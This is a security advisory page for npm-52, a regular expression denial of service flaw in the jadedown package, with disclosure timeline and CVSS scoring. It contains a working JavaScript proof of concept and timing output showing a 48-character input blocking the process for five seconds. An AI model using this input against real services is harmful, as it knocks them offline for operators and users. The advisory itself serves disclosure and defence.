Staging Environment: Content and features may be unstable or change without notice.
Advisory details: npm / npm-52
Advisory ID npm/npm-52
Aliases
Summary Regular Expression Denial of Service jadedown is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in. "The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time." [1] ### Proof of concept ``` var jadedown = require('jadedown'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; } return result; } for (i=1;i<=10000000;i=i+1) { console.log("COUNT: " + i); var str = genstr(i, 'f') + genstr(i, '#') + '{'; console.log("LENGTH: " + str.length); var start = process.hrtime(); jadedown(str) var end = process.hrtime(start); console.log(end); } ``` Results demonstrating blocking for 5 seconds using only 48 characters. ``` $ node jadedown.js COUNT: 1 LENGTH: 6 [ 0, 4014065 ] COUNT: 4 LENGTH: 12 [ 0, 503507 ] COUNT: 7 LENGTH: 18 [ 0, 325225 ] COUNT: 10 LENGTH: 24 [ 0, 1632684 ] COUNT: 13 LENGTH: 30 [ 0, 7541230 ] COUNT: 16 LENGTH: 36 [ 0, 80889495 ] COUNT: 19 LENGTH: 42 [ 0, 636009936 ] COUNT: 22 LENGTH: 48 [ 5, 820586760 ] ``` # Timeline - October 24, 2015 - Vulnerability Identified - October 24, 2015 - Maintainers Notified - October 25, 2015 - Response from Maintainers with intent to fix - January 5, 2016 - Advisory Published - January 11, 2016 - CVE Requested
Status Published
Exploitability 0.5
Weighted Severity 6.8
Risk 3.4
Affected and Fixed Packages Package Details
Introduced and Fixed Package Commit Patches Package Commit Patches Details
Weaknesses (0)
There are no known CWE.
No exploits are available.

No EPSS data available for this advisory.

Patch URL
There are no known patches.
Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Found at https://github.com/nodejs/security-wg/blob/main/vuln/npm/52.json
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none

There are no SSVC decisions available.